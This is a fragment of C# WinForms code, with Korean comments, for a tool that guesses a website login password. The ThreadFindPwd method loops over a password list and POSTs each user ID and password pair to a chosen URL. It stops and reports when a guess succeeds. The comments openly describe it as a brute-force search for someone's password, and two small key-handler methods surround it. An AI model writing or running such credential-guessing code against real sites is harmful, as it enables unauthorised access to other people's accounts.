private void Log_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter) { PWD.Focus(); } }
//외부 스레드에서 수행되어 비밀번호를 찾는 작업 수행 private void ThreadFindPwd() { foreach (string PWD in listPassword) //반복적으로 웹페이지에 아뒤와 비번을 대입하며 찾는다 { byte[] postData = Encoding.Default.GetBytes("userid=" + this.tlstxtId.Text + "&userpw=" + PWD); //byte 배열로 아이디와 비밀번호 인코딩 this.WebBrowser.Navigate(this.tlstxtAddress.Text, null, postData, "Content-Type: application/x-www-form-urlencoded"); //url주소와 byte배열의 아뒤 비번을 넣어 이동 //WebBrower.Navigate() : 지정된 주소로 이동한다 #region WebBroser.Navigate 메소드 설명 /* #WebBroser.Navigate(urlString, targetFrameName, postData, additionalHeaders) : 지정된 URL로 이동하는 작업 수행 * - urlString : 로드할 문서의 URL * - targetFrameName : 문서를 로드할 프레임의 이름 * - postData : 양식(폼) 데이터와 같은 HTTP POST 데이터 * - additionalHeaders : 기본 머리글에 추가할 HTTP 머리글 */ #endregion bool isBusy = true; status = 3; while (isBusy) //루프를 반복적으로 실행하면서 { if (status == 1) //못 찾았을 때 Flag 1 { isBusy = false; } else if (status == 2) //찾았을 때 Flag 2 { Invoke(FindPASS, PWD.ToString()); return; } } } }
private void textBox2_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Up) { PWD.Focus(); } }